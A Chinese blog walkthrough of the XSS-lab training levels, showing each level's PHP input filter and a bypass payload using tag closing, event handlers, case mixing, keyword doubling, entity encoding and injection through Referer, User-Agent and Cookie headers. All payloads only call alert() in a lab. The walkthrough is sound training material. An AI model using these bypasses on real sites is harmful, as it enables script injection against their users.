XSS-lab通过教程🐶
XSS-lab通过教程
Level-1
payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>
Level-2
- 我们随便输入
123,查看闭合方式

我们可以构造闭合input标签,如何加入script语句
payload:"><script>alert(123)</script>
Level-3
- 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码

- 查看源码
<input name=keyword value='".htmlspecialchars($str)."'>
我们发现使用了htmlspecialchars方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号。例如:
| 特殊字符 | 转化后 |
|---|---|
| & | & |
| " | " |
| < | < |
| > | > |
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:
| 属性 | 描述 |
|---|---|
| onclick | 当用户点击某个对象时调用的事件句柄 |
| onmouseenter | 当鼠标指针移动到元素上时触发 |
| onmouseover | 鼠标移到某元素之上 |
payload:' onclick ='javascript:alert(123)'//
注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码
level-4
首先我们发现前端页面跟第2关一样,没什么区别,还是这样的

源码分析
# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
所有说我们的payload里面不能有<>这两个符号,<script>就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"
payload:" onclick='javascript:alert(123)'//
level-5
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
这一关我们可以看到带有 <script> 和 on 标签的都没法用了,那么onclick自然用不了了。我们可以尝试构造一个 a 标签,具体payload如下:
"></input><a href='javascript:alert(123)'>ads</a>
level-6
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:
"></input><a Href='javascript:alert(123)'>ads</a>
level-7
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过
payload:"><scriscriptpt>alert(123)</scriscriptpt>
level-8
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
所以说这一关用不了 <script> 标签了,我们输入第二关的payload试试,然后查看网页源码发现

发现上面value的标签都被html实体化了,下面href里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)到a标签的href属性中就可以触发xss,我们发现直接输入的话script会被_下划线隔开,所以我们进行html编码输入:
payload:
javascript:alert(1)
level-9
首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了

居然说输入的不合法,那么我们输入一个合法的看看是什么样
payload:http://www.baidu.com

再加点东西动动手脚看看
payload:javascript:alert(123)//http://www.baidu.com

发现还是不行,被替换了,编码输入在看看
payload:
javascript:alert(123)//http://www.baidu.com
level-10
源码分析
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input标签

那么我们根据他们的name构造传值,改变他们的type属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//
level-11
首先我们查看一下源码,发现又有四个标签隐藏了

还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据
payload:
t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//
发现还是t_sort,只不过"和>被过滤了,再仔细看看,发现上面t_ref的值咋变了,查看源码发现原来这个题的触发点在t_ref
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我们发现他是接收http头部的REFERER字段的值,然后经过过滤>和<之后插入了t_ref的值之中,所以我们抓包修改referer字段的值触发xss
payload:" type='text' onclick='javascript:alert(1)'>//
level-12
首先看看源码,发现又有四个隐藏标签

然后还发现t_ua居然有值,没猜错的话这个题触发点应该在uagent,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent,我们抓包传入payload:
" type='text' onclick='javascript:alert(1)'>//
level-13
首先看看源码发现又有四个隐藏字段

然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了

按这尿性,不用猜也知道这一关触发点肯定在t_cook,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
果然触发点在cookie的user字段,不说了,直接抓包打payload
" type='text' onclick='javascript:alert(1)'>//
level-14
xswl,md一点头绪没有,上网一查题有问题,溜了溜了!
level-15
不说了,先看一波源码

啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件

话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
说是包含外部html文件,那我们拿第一关的网址试试

发现<和>被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror方法,构造一个img标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
level-16
源码分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
我们发现过滤了script,空格,/,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关
payload:<a%0D%0Aonclick='alert(1)'>
level 17
不会了,后面等我升级了在来填这个坑吧!
XSS-lab通过教程🐶的更多相关文章
- XSS高级实战教程
1.[yueyan科普系列]XSS跨站脚本攻击--yueyan 2.存储型XSS的成因及挖掘方法--pkav 3.跨站脚本攻击实例解析--泉哥 4.XSS高级实战教程--心伤的瘦子 5.XSS利用与挖 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- 第一次在新西兰组织技术社区活动:Monkeyfest2018
从3月份登陆到现在,转眼间已经8个月了.在6个月的时候我就想写篇文总结下近期的一些状况,一直拖到现在.因为近期一直在筹备我第一次社区活动——Monkeyfest 2018,占用了比较多的时间.这是一个 ...
- 2017-2018-2 20155315《网络对抗技术》Exp8 :Web基础
实验目的 理解HTML,学会Web前端.Web后端和数据库编程及SQL注入.XSS攻击测试 教程 实验内容 操作程序规律 运行脚本或可执行文件 查看配置文件 出错找日志 Web前端HTML 能正常安装 ...
- 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...
- 有关XSS的一个系列教程
在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了. 这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1 几个常见的语句 < ...
- [视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程
[视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程 https://pan.baidu.com/s/1hq4LsmK
随机推荐
- <转>git,github在windows上的搭建
http://www.cnblogs.com/yixiaoyang/archive/2012/01/06/2314190.html Git在源码管理领域目前占很大的比重了,而且开源的项目很多都转到Gi ...
- sctf_2019_easy_heap(off-by-null在2.27的利用)
题目的例行检查我就不放了 将程序放入ida中 漏洞也较为明显 可以看到 if这里多一个null ,明显的off by null 漏洞 程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我 ...
- CF908A New Year and Counting Cards 题解
Content 有 \(n\) 张卡牌,每张卡牌上只会有大小写字母和 \(0\sim 9\) 的阿拉伯数字.有这样一个描述:"如果卡牌正面写有元音字母(\(\texttt{A,E,I,O,U ...
- python爬取信息到数据库与mysql简单的表操作
python 爬取豆瓣top250并导入到mysql数据库中 import pymysql import requests import re url='https://movie.douban.co ...
- 海康威视Java SDK拉流(一)初始化SDK
19年的时候做了一个视频分析的产品,用户使用的安防摄像机基本的都是海康大华宇视,今天写一下关于Java调用海康威视摄像机的demo,当时也踩了很多坑.写个博客记录一下 测试环境: 系统:Centos ...
- 【LeetCode】1436. 旅行终点站 Destination City (Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 set 日期 题目地址:https://leetcod ...
- 【LeetCode】Gas Station 解题报告
[LeetCode]Gas Station 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/gas-station/#/descr ...
- 【LeetCode】899. Orderly Queue 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地址: https://leetcode.com/problems/orderly- ...
- 【LeetCode】654. Maximum Binary Tree 解题报告 (Python&C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 递归 日期 题目地址:https://leetcode ...
- 【LeetCode】337. House Robber III 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...